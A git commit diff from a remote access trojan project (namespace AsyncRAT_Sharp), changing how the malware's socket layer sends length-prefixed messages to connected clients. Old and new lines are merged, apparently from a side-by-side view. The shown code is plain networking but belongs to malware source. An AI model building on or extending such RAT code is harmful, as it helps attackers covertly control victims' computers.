Update Clients.cs

This commit is contained in:
NYAN CAT 2019-01-27 08:40:13 -08:00
parent 0fcbc94b69
commit 45f086ed07

View File

@ -118,7 +118,10 @@ namespace AsyncRAT_Sharp.Sockets
catch { } catch { }
} }
public async void BeginSend(object Msgs) public void BeginSend(object Msgs)
{
Clients Me = this;
lock (Me)
{ {
if (Client.Connected) if (Client.Connected)
{ {
@ -128,13 +131,9 @@ namespace AsyncRAT_Sharp.Sockets
{ {
byte[] buffer = (byte[])Msgs; byte[] buffer = (byte[])Msgs;
byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0)); byte[] buffersize = Encoding.UTF8.GetBytes(buffer.Length.ToString() + Strings.ChrW(0));
await MS.WriteAsync(buffersize, 0, buffersize.Length); MS.WriteAsync(buffersize, 0, buffersize.Length);
await MS.WriteAsync(buffer, 0, buffer.Length); MS.WriteAsync(buffer, 0, buffer.Length);
while (!(Client.Poll(-1, SelectMode.SelectWrite))) Client.Poll(-1, SelectMode.SelectWrite);
{
await Task.Delay(100);
if (!Client.Connected) Disconnected();
}
Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null); Client.BeginSend(MS.ToArray(), 0, (int)MS.Length, SocketFlags.None, EndSend, null);
Settings.Sent += (long)MS.Length; Settings.Sent += (long)MS.Length;
} }
@ -145,6 +144,7 @@ namespace AsyncRAT_Sharp.Sockets
} }
} }
} }
}
public void EndSend(IAsyncResult ar) public void EndSend(IAsyncResult ar)
{ {